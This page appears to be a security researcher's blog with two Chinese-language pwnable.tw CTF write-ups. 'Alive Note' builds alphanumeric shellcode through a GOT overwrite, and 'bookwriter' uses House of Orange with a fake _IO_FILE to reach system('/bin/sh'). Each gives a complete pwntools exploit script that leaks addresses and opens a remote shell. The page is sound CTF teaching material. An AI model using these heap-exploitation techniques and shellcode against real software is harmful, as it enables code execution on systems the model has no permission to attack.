Binary Security Researcher, IoT/NFV Sec, Static Program Analysis, Fuzzing Test, CTFer
[pwnable.tw] Alive Note - 构造分段alpha_shellcode
漏洞利用程序Heap内存区域有执行权限，并且Add功能存在下标溢出。当使用负数下标时可以覆盖got表项指针指向堆内存，从而执行自定义shellcode。但是堆块输入限制非常大，只有8个字节，而且要求全为大小写字母或数字。也就是说需要用多个堆块借助拼接构造shellcode。为了简化利用，先构造调用SYS_read的shellcoed，然后借助它往堆上读执行execve("/bin/sh", NULL, NULL)的系统调用来getshell。主要难点 构造为全为大小写字母或数字的shellcode，这个思路网上很多，主要都是利用push, pop, xor, dec, jne之类的指令进行构造（注意xor的时候一般使用al寄存器） 使用jne指令连接多个块，jne的操作数是相对值，即目标指令相对于下一条指令的偏移，所以要考虑好两段shellcode中间间隔堆块的数量以便操作数在合法范围内。 通过减法+异或构造出int 0x80指令（技巧性很强）。 EXPfrom pwn import * #p = process("./alive_note") p = remote("chall.pwnable.tw", 10300) elf = ELF("./alive_note") context.log_level = "debug" context.arch = "i386" free_offset = -27 #free reg info ''' EAX 0x804b018 ◂— 'bbbb' (free arg) EBX 0x0 ECX 0x0 EDX 0x0 EDI 0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d /* 0x1b2db0 */ ESI 0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d /* 0x1b2db0 */ EBP 0xffffcee8 —▸ 0xffffcef8 ◂— 0x0 ESP 0xffffcebc —▸ 0x80488ef (del_note+81) ◂— add esp, 0x10 EIP 0x804b008 ◂— 'aaaa' (code) ''' def get_alpha_shellcode(raw): with open("./alpha3/raw.in", "wb") as r: r.write(asm(raw)) os.system('cd alpha3;python ALPHA3.py x86 ascii rax --input="raw.in" > alpha.out') res = b"" with open("./alpha3/alpha.out", "rb") as a: res = a.read() return res def add(idx:int, name): p.recvuntil(b"Your choice :") p.sendline(b"1") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) p.recvuntil(b"Name :") p.sendline(name) def show(idx:int): p.recvuntil(b"Your choice :") p.sendline(b"2") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) def delete(idx:int): p.recvuntil(b"Your choice :") p.sendline(b"3") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) def chunk_pad(num): for i in range(num): add(10, b"aaaaaaa") def exp(): #build shellcode ## call SYS_read to read execve shellcode ### PYjzZu9 part1 = ''' push eax pop ecx push 0x7a pop edx ''' part1 = asm(part1) + b"\x75\x39" add(-27, part1) chunk_pad(3) ### SXH0AAu8 part2 = ''' push ebx pop eax dec eax xor BYTE PTR [ecx+0x41], al ''' part2 = asm(part2) + b"\x75\x38" add(0, part2) chunk_pad(3) ### 490ABSu8 part3 = ''' xor al, 0x39 xor BYTE PTR [ecx+0x42], al push ebx ''' part3 = asm(part3) + b"\x75\x38" add(0, part3) chunk_pad(3) ### Xj3X40u9 part4 = ''' pop eax push 0x33 pop eax xor al, 0x30 ''' part4 = asm(part4) + b"\x75\x39" add(1, part4) chunk_pad(3) ### 02F part5 = b"\x30\x32\x46" add(2, part5) #gdb.attach(p, "b *0x804b008\nb *0x804b10b\nc\n") delete(1) ## write shellcode to run next shellcode = asm(shellcraft.sh()) payload = b"a"*0x43 + shellcode p.sendline(payload) # getshell p.interactive() if __name__ == "__main__": exp()
[pwnable.tw] bookwrite - no free条件House_of_Orange + unsortedbin_attack
思路： Autor未设置截断导致heap泄露，strlen重设长度时包含下一个chunk的size导致溢出; 进行house of orange释放原先的topchunk进入unsortedbin（进入过程可以借助scanf中malloc分配缓冲区来完成），以此可以泄露libc; （关键）unsortedbin attack攻击IO_list_all，使其的指针指向main_arena+0x58，然后以此为IO_FILE结构体，再通过struct _IO_FILE *_chain域指向堆上的unsortedbin位置; 只要提前在unsortedbin位置伪造好IO_FILE结构体和vtable就可以借助_IO_flush_all_lockp（在触发malloc_printerr时会被调用）调用system("/bin/sh\x00")来getshell. 分析历程这里有个很操蛋的地方卡了很久...开始一直弄不明白unsortedbin attack修改掉IO_list_all之后如何构造struct _IO_FILE *_chain指向堆上我们伪造的结构。分析发现如果把main_arena+0x58看作结构体，则对应smallbin[4]（0x60）的索引位置，也就是只要有一个0x60的smallbin被free就可以构成链表。但是想了很久还是不明白如何让unsortedbin进入这个位置...又翻了好久的源代码发现在尝试对unsortedbin进行分割前，其中一个判断条件要满足的是：bck == unsorted_chunks (av)，而bck = victim->bk 。换句话说，只要unsorted chunk中的bk指针被修改掉之后，一定不会满足这个判断，也就一定不会进入分割unsorted chunk的过程。如果我们提前借助堆溢出修改unsorted chunk大小为0x61，则在下次分配一个0x10的堆块时就会进入下面把unsorted chunk置入smallbin的分支过程，这一举动刚好使得smallbin[4]（0x60）的索引位置出现了原先unsorted chunk的指针。加上一定的构造之后（相关限制条件可以看ctfwiki）就可以通过触发报错拿shell了。总结一下就是：在bk指针被破坏之后，原本可能发生的unsorted chunk分割条件无法满足，而是直接把整个unsorted chunk置入smallbin对应位置（注意不是fastbin，不能只看大小，要看程序流）。这些细节勿略掉可能会在很浅显的地方翻车。EXP:from pwn import * #p = process("./bookwriter", env = {"LD_PRELOAD":"./libc.so.6"}) p = remote("chall.pwnable.tw", 10304) elf = ELF("./bookwriter") libc = ELF("./libc_64.so.6") context.log_level = "debug" def send_choice(idx:int): p.recvuntil(b"Your choice :") p.sendline(str(idx).encode()) def add(size, content): send_choice(1) p.recvuntil(b"Size of page :") p.sendline(str(size).encode()) p.recvuntil(b"Content :") p.send(content) def view(idx:int): send_choice(2) p.recvuntil(b"Index of page :") p.sendline(str(idx).encode()) def edit(idx:int, content): send_choice(3) p.recvuntil(b"Index of page :") p.sendline(str(idx).encode()) p.recvuntil(b"Content:") p.send(content) def info(new_author=None): send_choice(4) p.recvuntil(b"(yes:1 / no:0)") if new_author != None: p.sendline(b"1") p.recvuntil(b"Author :") p.send(new_author) else: p.sendline(b"0") def go_exit(): send_choice(5) def exp(): # const bss_author = 0x602060 bss_catalog = 0x6020a0 bss_sizelist = 0x6020e0 # set author author = b"a"*(0x40-0x2) + b"||" p.recvuntil(b"Author :") p.send(author) # leak libc && heap add(0x18, b"aaa") #0 ## leak libc edit(0, b"a"*0x18) edit(0, b"a"*0x18+b"\xe1\x0f\x00") #modify size of top_chunk info() # call printf to malloc(0x1000) && get unsortedbin add(0x78, b"aaaaaaaa") #1 view(1) #leak address preserved p.recvuntil(b"Content :\naaaaaaaa") libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) libc_base = libc_leak - 0x3c4188 system = libc_base + libc.symbols[b"system"] stdout = libc_base + 0x3c5620 io_list_all = libc_base + libc.symbols[b"_IO_list_all"] print("libc_leak:", hex(libc_leak)) print("libc_base:", hex(libc_base)) print("stdout:", hex(stdout)) print("io_list_all:", hex(io_list_all)) ## leak heap send_choice(4) #info p.recvuntil(b"||") heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) heap_base = heap_leak - 0x10 print("heap_leak:", hex(heap_leak)) print("heap_base:", hex(heap_base)) p.sendafter(b"(yes:1 / no:0)", b"0\n") chunk1_addr = heap_base + 0x20 print("chunk1_addr:", hex(chunk1_addr)) edit(0, b"\n") #set size[0]=0 for i in range(7): add(0x58, b"bbbb") ## unsortedbin attack pad = b"a"*0x330 ## build fake _IO_FILE and vtable data = b'/bin/sh\x00' data += p64(0x61) data += p64(0xdeadbeef) data += p64(libc_base + libc.symbols[b'_IO_list_all'] - 0x10) data += p64(2) data += p64(3) data = data.ljust(0xc0, b'\x00') data + p64(0xffffffffffffffff) data = data.ljust(0xe0-8, b'\x00') vtable = p64(0) * 3 + p64(libc_base + libc.symbols[b'system']) vtable_addr = heap_base + 0x420 data += p64(vtable_addr) data += vtable edit(0, pad+data) edit(0, b"\n") #set size[0]=0 send_choice(1) p.recvuntil(b"Size of page :") p.sendline(b"16") #gdb.attach(p) p.interactive() if __name__ == "__main__": exp()